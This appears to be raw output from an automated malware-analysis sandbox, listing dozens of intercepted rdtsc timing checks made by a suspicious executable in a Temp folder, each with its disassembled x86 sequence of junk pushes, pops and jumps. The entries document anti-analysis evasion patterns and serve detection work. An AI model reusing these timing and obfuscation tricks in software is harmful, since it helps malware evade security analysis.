Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E54097 second address: E5409D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5409D second address: E540B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Bh 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E540B1 second address: E540B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E544DB second address: E544DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E544DF second address: E544EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E544EB second address: E54506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099D172A77h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E24EA8 second address: E24EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E24EAD second address: E24EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E24EB2 second address: E24EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E24EB8 second address: E24EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E24EC5 second address: E24ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E24ECA second address: E0C758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D30E2h], ebx 0x00000010 lea eax, dword ptr [ebp+12489BEBh] 0x00000016 pushad 0x00000017 push edx 0x00000018 jmp 00007F099D172A6Dh 0x0000001d pop eax 0x0000001e sub edi, dword ptr [ebp+122D1E10h] 0x00000024 popad 0x00000025 pushad 0x00000026 jmp 00007F099D172A72h 0x0000002b sub dword ptr [ebp+122D355Fh], ebx 0x00000031 popad 0x00000032 push eax 0x00000033 jg 00007F099D172A72h 0x00000039 jnl 00007F099D172A6Ch 0x0000003f jno 00007F099D172A66h 0x00000045 mov dword ptr [esp], eax 0x00000048 mov dword ptr [ebp+122D2327h], eax 0x0000004e call dword ptr [ebp+12462A8Ch] 0x00000054 jmp 00007F099D172A6Bh 0x00000059 pushad 0x0000005a push edx 0x0000005b jmp 00007F099D172A6Ah 0x00000060 pop edx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E252B2 second address: E252B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E252B6 second address: E252C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E252C0 second address: E252C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E252C6 second address: E252CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E255AD second address: E255B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E255B2 second address: E255D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F099D172A6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E255D7 second address: E255DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E255DB second address: E255F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A79h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E255F8 second address: E2563C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov edx, dword ptr [ebp+122D23FDh] 0x0000000f nop 0x00000010 pushad 0x00000011 push eax 0x00000012 jnp 00007F099C534106h 0x00000018 pop eax 0x00000019 push edx 0x0000001a jmp 00007F099C53410Ch 0x0000001f pop edx 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 jmp 00007F099C534117h 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25788 second address: E2578F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E258BC second address: E258C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E258C2 second address: E258C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E258C6 second address: E2591E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push edx 0x0000000a pop edi 0x0000000b push 00000004h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F099C534108h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 jc 00007F099C53410Ch 0x0000002d mov ecx, dword ptr [ebp+122D1AD5h] 0x00000033 push eax 0x00000034 pushad 0x00000035 jmp 00007F099C534117h 0x0000003a push eax 0x0000003b push edx 0x0000003c jo 00007F099C534106h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25BF3 second address: E25C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A6Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25C06 second address: E25C24 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F099C53410Dh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25C24 second address: E25C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25C2A second address: E25C30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25C30 second address: E25C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25C34 second address: E25CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F099C534108h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 0000001Eh 0x00000025 movsx ecx, cx 0x00000028 mov dword ptr [ebp+122D34A2h], edi 0x0000002e nop 0x0000002f jnl 00007F099C53411Eh 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F099C534116h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25DD0 second address: E25DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E0D2B8 second address: E0D2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E0D2BC second address: E0D2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E0D2C0 second address: E0D306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F099C53410Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F099C53411Bh 0x00000017 jmp 00007F099C534116h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E59F64 second address: E59F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F099D172A66h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5A2A7 second address: E5A2AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5A59A second address: E5A5C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F099D172A70h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5A71F second address: E5A725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5A725 second address: E5A729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5A894 second address: E5A898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5A898 second address: E5A89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E0D2DD second address: E0D306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099C53410Fh 0x00000009 jmp 00007F099C534116h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E5AA0E second address: E5AA13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E673CE second address: E673D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6757D second address: E67587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F099D172A66h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E67587 second address: E6759D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534112h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6759D second address: E675BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A74h 0x00000009 jnl 00007F099D172A66h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E675BB second address: E675C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E67732 second address: E6775D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F099D172A72h 0x0000000c jmp 00007F099D172A72h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6775D second address: E67785 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F099C534111h 0x0000000c jnl 00007F099C534106h 0x00000012 popad 0x00000013 pushad 0x00000014 ja 00007F099C534106h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E67E8A second address: E67E91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E68275 second address: E682BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F099C534118h 0x0000000b popad 0x0000000c jg 00007F099C53412Ch 0x00000012 jmp 00007F099C534116h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jnc 00007F099C534106h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6EA01 second address: E6EA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6DCC3 second address: E6DCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6DCC7 second address: E6DCED instructions: 0x00000000 rdtsc 0x00000002 jp 00007F099D172A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F099D172A79h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6DCED second address: E6DCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6DCF9 second address: E6DD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 jnc 00007F099D172A6Ch 0x0000000f pushad 0x00000010 jno 00007F099D172A66h 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007F099D172A77h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6DE9B second address: E6DEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6DEA1 second address: E6DEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6E42F second address: E6E45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F099C53410Ah 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F099C534118h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6E74C second address: E6E754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E6E754 second address: E6E758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DE79D5 second address: DE79E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F099D172A66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E70B14 second address: E70B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E70C7C second address: E70C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E79258 second address: E7925D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E78646 second address: E7864A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7864A second address: E7865C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F099C534106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F099C534106h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7865C second address: E78662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E78A3C second address: E78A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7DABF second address: E7DAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7E0FD second address: E7E101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7E101 second address: E7E114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jp 00007F099D172A66h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25ADA second address: E25ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25ADE second address: E25AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a sbb dx, 5141h 0x0000000f push 00000004h 0x00000011 push ecx 0x00000012 add dx, EF39h 0x00000017 pop ecx 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25AFC second address: E25B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E25BEF second address: E25BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7E3ED second address: E7E42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F099C53410Dh 0x00000009 pop ebx 0x0000000a ja 00007F099C53411Bh 0x00000010 pushad 0x00000011 push edi 0x00000012 jmp 00007F099C53410Bh 0x00000017 pop edi 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E7E42B second address: E7E433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
